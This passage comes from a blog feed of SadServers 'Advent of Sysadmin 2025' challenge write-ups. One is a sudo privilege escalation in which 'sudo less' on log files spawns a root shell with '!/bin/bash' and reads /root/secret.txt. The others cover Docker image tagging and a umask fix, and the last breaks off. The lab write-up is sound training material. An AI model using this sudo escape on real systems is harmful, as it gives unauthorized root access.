&lt;p&gt;Spoiler alert! This gives the solution to the challenge.
If you want to do it on your own, stop reading.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;details&gt;
  &lt;summary&gt;Challenge details&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; &amp;quot;La Rinconada&amp;quot;: Elevating privileges&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level:&lt;/strong&gt; Medium&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Type:&lt;/strong&gt; Hack&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;https://sadservers.com/tag/hack&quot;&gt;hack&lt;/a&gt;   &lt;a href=&quot;https://sadservers.com/tag/advent2025&quot;&gt;advent2025&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Access:&lt;/strong&gt; Email&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; You are logged in as the user &amp;quot;admin&amp;quot; without general &amp;quot;sudo&amp;quot; privileges.
The system administrator has granted you limited &amp;quot;sudo&amp;quot; access; this was intended to allow you to read log files.&lt;/p&gt;
&lt;p&gt;Your mission is to find a way to exploit this limited sudo permission to gain a full root shell and read the secret file at &lt;em&gt;/root/secret.txt&lt;/em&gt;
Copy the content of &lt;em&gt;/root/secret.txt&lt;/em&gt; into the &lt;em&gt;/home/admin/solution.txt&lt;/em&gt; file, for example: cat /root/secret.txt &amp;gt; /home/admin/solution.txt (the &amp;quot;admin&amp;quot; user must be able to read the file).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root (sudo) Access:&lt;/strong&gt; False&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test:&lt;/strong&gt; As the user &amp;quot;admin&amp;quot;, md5sum /home/admin/solution.txt returns 52a55258e4d530489ffe0cc4cf02030c (we also accept the hash of the same secret string without an ending newline).&lt;/p&gt;
&lt;p&gt;The &amp;quot;Check My Solution&amp;quot; button runs the script &lt;em&gt;/home/admin/agent/check.sh&lt;/em&gt;, which you can see and execute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Time to Solve:&lt;/strong&gt; 15 minutes.&lt;/p&gt;
&lt;/details&gt;
&lt;hr&gt;
&lt;p&gt;Cool little challenge to learn how to break out of a restricted shell when you have limited sudo access.&lt;/p&gt;
&lt;p&gt;Start by listing what sudo access our user has:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;admin@i-0adfc7a1f5cd64cfb:~$ &lt;span class=&quot;token function&quot;&gt;whoami&lt;/span&gt;
admin

admin@i-0adfc7a1f5cd64cfb:~$ &lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-l&lt;/span&gt;
Matching Defaults entries &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; admin on i-0adfc7a1f5cd64cfb:
    env_reset, mail_badpass,
    &lt;span class=&quot;token assign-left variable&quot;&gt;secure_path&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;:/usr/local/bin&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;:/usr/sbin&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;:/usr/bin&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;:/sbin&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;:/bin,
    use_pty

User admin may run the following commands on i-0adfc7a1f5cd64cfb:
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ALL &lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; ALL&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; ALL
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ALL&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; NOPASSWD: /sbin/shutdown
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/less /var/log/*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The challenge description hinted at the fact that we could read some logs. As shown by the &lt;code&gt;sudo -l&lt;/code&gt; command, we can use &lt;code&gt;less&lt;/code&gt; to open files in &lt;code&gt;/var/log/*&lt;/code&gt; as root without any password.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;less&lt;/code&gt; is a pager that displays file content in a terminal window. Its commands are based on vi and vim. But this is where it gets interesting: while reading a file in &lt;code&gt;less&lt;/code&gt;, you can invoke shell commands just like you would in vi. &lt;code&gt;less&lt;/code&gt; spawns a shell to run whatever command you pass in. Since we&#39;re running &lt;code&gt;less&lt;/code&gt; as root via sudo, any spawned shell inherits those root privileges.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man1/less.1.html&quot;&gt;less(1) - Linux manual page&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That means we can get a root shell from within &lt;code&gt;less&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;less&lt;/span&gt; /var/log/dpkg.log &lt;span class=&quot;token comment&quot;&gt;# file will open in less, showing first lines&lt;/span&gt;

&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;whoami &lt;span class=&quot;token comment&quot;&gt;# type this once you&#39;re in less&lt;/span&gt;

root

&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;done &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;press RETURN&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# pressing return to go back to less&lt;/span&gt;

&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;/bin/bash &lt;span class=&quot;token comment&quot;&gt;# type this to get an interactive shell as root&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can actually run the command from the challenge description directly from &lt;code&gt;less&lt;/code&gt;. No need to enter a sub-shell:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;less&lt;/span&gt; /var/log/dpkg.log

&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;cat /root/secret.txt &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; /home/admin/solution.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&#39;s it. We escaped the limited shell and got the secret. 🚩&lt;/p&gt;
&lt;p&gt;Here&#39;s some great resources about escaping restricted shells:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.certcube.com/restricted-shells-escaping-techniques/&quot;&gt;Restricted Shells Escaping Techniques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.certcube.com/restricted-shells-escaping-techniques-2/&quot;&gt;Restricted Shells Escaping Techniques - 2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://0xffsec.com/handbook/shells/restricted-shells/&quot;&gt;How to Escape from Restricted Shells | 0xffsec Handbook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gtfobins.github.io/gtfobins/less/&quot;&gt;less | GTFOBins&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Woluwe - Advent of Sysadmin 2025</title>
    <link href="https://jrb.nz/posts/sadservers-advent-woluwe/" />
    <updated>2025-12-04T00:00:00Z</updated>
    <id>https://jrb.nz/posts/sadservers-advent-woluwe/</id>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;This is part of Sad Servers&#39; &lt;a href=&quot;https://sadservers.com/advent&quot;&gt;Advent of Sysadmin 2025&lt;/a&gt; series.&lt;/p&gt;
&lt;p&gt;I&#39;m doing each challenge every day and I&#39;m publishing a quick write up for each one every day.&lt;/p&gt;
&lt;p&gt;Spoiler alert! This gives the solution to the challenge.
If you want to do it on your own, stop reading.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;details&gt;
  &lt;summary&gt;Challenge details&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; &amp;quot;Woluwe&amp;quot;: Too many images&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level:&lt;/strong&gt; Medium&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; A pipeline created a lot of Docker images locally for a web app. All these images except for one contain a typo introduced by a developer: there&#39;s an incorrect image instruction to pipe &amp;quot;HelloWorld&amp;quot; to &amp;quot;index.htmlz&amp;quot; instead of using the correct &amp;quot;index.html&amp;quot;
Find which image doesn&#39;t have the typo (and uses the correct &amp;quot;index.html&amp;quot;), tag this correct image as &amp;quot;prod&amp;quot; and then deploy it with docker run -d --name prod -p 3000:3000 prod so it responds correctly to HTTP requests on port :3000 instead of &amp;quot;404 Not Found&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test:&lt;/strong&gt; curl http://localhost:3000 should respond with HelloWorld;529&lt;/p&gt;
&lt;p&gt;The &amp;quot;Check My Solution&amp;quot; button runs the script &lt;em&gt;/home/admin/agent/check.sh&lt;/em&gt;, which you can see and execute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Time to Solve:&lt;/strong&gt; 15 minutes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OS:&lt;/strong&gt; Debian 13&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root (sudo) Access:&lt;/strong&gt; Yes&lt;/p&gt;
&lt;/details&gt;
&lt;hr&gt;
&lt;p&gt;There&#39;s a total of 102 images that have been built on this server.&lt;/p&gt;
&lt;p&gt;We need to inspect/grep the content of the build layers to find the correct image ID that has the index.html file.&lt;/p&gt;
&lt;p&gt;We can use &lt;code&gt;docker history&lt;/code&gt; to look at the build steps of an image:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;admin@i-0bb15e2e2e010d1f8:~$ &lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;history&lt;/span&gt; 3233cb6d5327
IMAGE          CREATED       CREATED BY                                      SIZE      COMMENT
3233cb6d5327   &lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt; days ago    RUN &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;HW&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;529&lt;/span&gt; /bin/sh &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; 1m /dev/ura…   &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;.05MB    buildkit.dockerfile.v0
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;missing&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;      &lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt; days ago    RUN &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;HW&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;529&lt;/span&gt; /bin/sh &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;HelloWorld;&lt;span class=&quot;token variable&quot;&gt;$H&lt;/span&gt;…   15B       buildkit.dockerfile.v0
&amp;lt;missing&gt;      9 days ago    ARG HW=529                                      0B        buildkit.dockerfile.v0
&amp;lt;missing&gt;      5 weeks ago   CMD [&quot;&lt;/span&gt;busybox&lt;span class=&quot;token string&quot;&gt;&quot; &quot;&lt;/span&gt;httpd&lt;span class=&quot;token string&quot;&gt;&quot; &quot;&lt;/span&gt;-f&lt;span class=&quot;token string&quot;&gt;&quot; &quot;&lt;/span&gt;-v&lt;span class=&quot;token string&quot;&gt;&quot; &quot;&lt;/span&gt;-p&lt;span class=&quot;token string&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3000&lt;/span&gt;&quot;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;   0B        buildkit.dockerfile.v0
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;missing&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;      &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; weeks ago   WORKDIR /home/static                            0B        buildkit.dockerfile.v0
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;missing&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;      &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; weeks ago   &lt;span class=&quot;token environment constant&quot;&gt;USER&lt;/span&gt; static                                     0B        buildkit.dockerfile.v0
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;missing&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;      &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; weeks ago   RUN /bin/sh &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; adduser &lt;span class=&quot;token parameter variable&quot;&gt;-D&lt;/span&gt; static &lt;span class=&quot;token comment&quot;&gt;# buildkit     1.66kB    buildkit.dockerfile.v0&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;missing&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;      &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; weeks ago   EXPOSE &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; 0xc000579b40&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;          0B        buildkit.dockerfile.v0
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;missing&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;      &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; years ago   BusyBox &lt;span class=&quot;token number&quot;&gt;1.35&lt;/span&gt;.0 &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;glibc&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;, Debian &lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;               &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.27MB&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But we need the &lt;code&gt;--no-trunc&lt;/code&gt; flag to get the full layer command that was used.&lt;/p&gt;
&lt;p&gt;Let&#39;s look at an example with the typo to see what we&#39;re looking for:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;admin@i-0bb15e2e2e010d1f8:~$ &lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;history&lt;/span&gt; --no-trunc 3233cb6d5327 &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-E&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;index&#92;.html&quot;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;missing&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;      &lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt; days ago    RUN &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;HW&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;529&lt;/span&gt; /bin/sh &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;HelloWorld;&lt;span class=&quot;token variable&quot;&gt;$HW&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; index.htmlz &lt;span class=&quot;token comment&quot;&gt;# buildkit     15B       buildkit.dockerfile.v0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See the typo? &lt;code&gt;index.htmlz&lt;/code&gt; instead of &lt;code&gt;index.html&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So it&#39;s simple enough:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Loop over the docker images&lt;/li&gt;
&lt;li&gt;For each one, print the docker history&lt;/li&gt;
&lt;li&gt;Grep exclusively for the index.html file (&lt;code&gt;-w&lt;/code&gt; flag)&lt;/li&gt;
&lt;li&gt;Print the id of the winning image&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;admin@i-0bb15e2e2e010d1f8:~$ &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token for-or-select variable&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; image &lt;span class=&quot;token function&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-q&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;history&lt;/span&gt; --no-trunc &lt;span class=&quot;token variable&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-w&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;index.html&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Found image id &lt;span class=&quot;token variable&quot;&gt;$i&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;done&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;missing&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;                                                                 &lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt; days ago    RUN &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;HW&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;529&lt;/span&gt; /bin/sh &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;HelloWorld;&lt;span class=&quot;token variable&quot;&gt;$HW&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; index.html &lt;span class=&quot;token comment&quot;&gt;# buildkit     15B       buildkit.dockerfile.v0&lt;/span&gt;

Found image &lt;span class=&quot;token function&quot;&gt;id&lt;/span&gt; 3f8befa65f01
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then tag and run the image:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;admin@i-0bb15e2e2e010d1f8:~$ &lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; tag 3f8befa65f01 prod

admin@i-0bb15e2e2e010d1f8:~$ &lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--name&lt;/span&gt; prod &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3000&lt;/span&gt;:3000 prod
f52854c96451c2d3131202bfe4ca0a7b8ac9b20dea528f7642edb26e216ee17c&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How simple is that! This one felt way easier... 🚩&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Kortenberg - Advent of Sysadmin 2025</title>
    <link href="https://jrb.nz/posts/sadservers-advent-kortenberg/" />
    <updated>2025-12-03T00:00:00Z</updated>
    <id>https://jrb.nz/posts/sadservers-advent-kortenberg/</id>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;This is part of Sad Servers&#39; &lt;a href=&quot;https://sadservers.com/advent&quot;&gt;Advent of Sysadmin 2025&lt;/a&gt; series.&lt;/p&gt;
&lt;p&gt;I&#39;m doing each challenge every day and I&#39;m publishing a quick write up for each one every day.&lt;/p&gt;
&lt;p&gt;Spoiler alert! This gives the solution to the challenge.
If you want to do it on your own, stop reading.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;details&gt;
  &lt;summary&gt;Challenge details&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; &amp;quot;Kortenberg&amp;quot;: Can&#39;t touch this!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level:&lt;/strong&gt; Easy&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Type:&lt;/strong&gt; Fix&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Access:&lt;/strong&gt; Email&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Is &amp;quot;All I want for Christmas is you&amp;quot; already everywhere?. A bit unrelated, someone messed up the permissions in this server, the &lt;em&gt;admin&lt;/em&gt; user can&#39;t list new directories and can&#39;t write into new files. Fix the issue.
&lt;strong&gt;NOTE:&lt;/strong&gt; Besides solving the problem in your current admin shell session, you need to fix it permanently, as in a new login shell for user &amp;quot;admin&amp;quot; (like the one initiated by the scenario checker) should have the problem fixed as well.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root (sudo) Access:&lt;/strong&gt; True&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test:&lt;/strong&gt; The &lt;em&gt;admin&lt;/em&gt; user in a separate Bash login session should be able to create a new directory in your /home/admin directory, as well as being able to create a file into this new directory and add text into the new file.&lt;/p&gt;
&lt;p&gt;The &amp;quot;Check My Solution&amp;quot; button runs the script &lt;em&gt;/home/admin/agent/check.sh&lt;/em&gt;, which you can see and execute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Time to Solve:&lt;/strong&gt; 15 minutes.&lt;/p&gt;
&lt;/details&gt;
&lt;hr&gt;
&lt;p&gt;Just like I started the last one, let&#39;s see what we know just by reading the instructions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Permissions are messed up&lt;/li&gt;
&lt;li&gt;The admin user can&#39;t list/create new files/directories&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ok. Let&#39;s poke around. Creating files and folders, we get the wrong permissions:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;admin@i-038be5ca7a3896dec:~$ &lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; testdir
admin@i-038be5ca7a3896dec:~$ &lt;span class=&quot;token function&quot;&gt;touch&lt;/span&gt; testfile
admin@i-038be5ca7a3896dec:~$ &lt;span class=&quot;token function&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-lah&lt;/span&gt;
total 40K
drwx------ &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; admin admin &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.0K Dec  &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;:42 &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;
drwxr-xr-x &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; root  root  &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.0K Sep  &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;:29 &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
d--------- &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; admin admin &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.0K Dec  &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;:42 testdir
---------- &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; admin admin    &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; Dec  &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;:42 testfile&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is an issue with &lt;code&gt;umask&lt;/code&gt;!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man2/umask.2.html&quot;&gt;umask(2) - Linux manual page&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We can see the umask of the running process, which is our bash session:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;admin@i-038be5ca7a3896dec:~$ &lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt;
    PID TTY          TIME CMD
   &lt;span class=&quot;token number&quot;&gt;1120&lt;/span&gt; pts/0    00:00:00 &lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt;
   &lt;span class=&quot;token number&quot;&gt;1145&lt;/span&gt; pts/0    00:00:00 &lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt;
admin@i-038be5ca7a3896dec:~$ &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$$&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Get PID of current process&lt;/span&gt;
&lt;span class=&quot;token number&quot;&gt;1120&lt;/span&gt;
admin@i-038be5ca7a3896dec:~$ &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;^Umask:&#39;&lt;/span&gt; /proc/&lt;span class=&quot;token variable&quot;&gt;$$&lt;/span&gt;/status
Umask:  0777&lt;/code&gt;&lt;/pre&gt;
